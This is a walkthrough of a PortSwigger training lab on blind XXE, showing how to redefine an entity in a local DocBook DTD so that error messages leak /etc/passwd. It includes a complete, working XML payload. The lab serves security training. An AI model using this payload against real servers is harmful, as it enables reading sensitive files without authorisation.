PortSwigger

Description

This lab has a “Check stock” feature that parses XML input but does not display the result (blind XXE). Out-of-band interactions may be blocked, and we cannot host external DTDs.

However, the server has a local DTD file from the GNOME desktop environment at /usr/share/yelp/dtd/docbookx.dtd. This DTD contains a pre-defined entity called ISOamso.

We can reference this local DTD and redefine the ISOamso entity to contain our malicious payload, triggering an error message that leaks the contents of /etc/passwd.


Step 1 - Understand the Technique

This attack uses parameter entity redefinition within an existing local DTD.

Key concepts:

  • parameter entity (%entity;) can be redefined if the DTD allows it
  • The local DTD /usr/share/yelp/dtd/docbookx.dtd contains an entity called ISOamso
  • We can reference this DTD, then redefine ISOamso with our payload
  • When the DTD processes our redefined entity, it triggers an error containing the file contents

Step 2 - Locate the XML Input

Visit any product page and click “Check stock”. Intercept the request in Burp:

Step 3 - Craft the Payload

We need to inject a DOCTYPE that:

  1. References the local DTD file
  2. Redefines the ISOamso entity with our malicious payload
  3. Triggers an error that includes /etc/passwd contents

Final payload:


<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE message [
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
<!ENTITY % ISOamso '
<!ENTITY &#x25; file SYSTEM "file:///etc/passwd">
<!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///nonexistent/&#x25;file;&#x27;>">
&#x25;eval;
&#x25;error;
'>
%local_dtd;
]>
<stockCheck>
    <productId>1</productId>
    <storeId>1</storeId>
</stockCheck>

Step 4 - Send the Payload

Replace the entire request body with the payload and send it.

The server will:

  1. Reference the local DTD at /usr/share/yelp/dtd/docbookx.dtd
  2. Redefine the ISOamso entity with our malicious content
  3. Attempt to open file:///nonexistent/ followed by the contents of /etc/passwd
  4. Return an error message containing the full path — including the file contents

Expected error response:

Step 5 - Lab Solved

The lab automatically detects that you’ve retrieved /etc/passwd and marks as solved.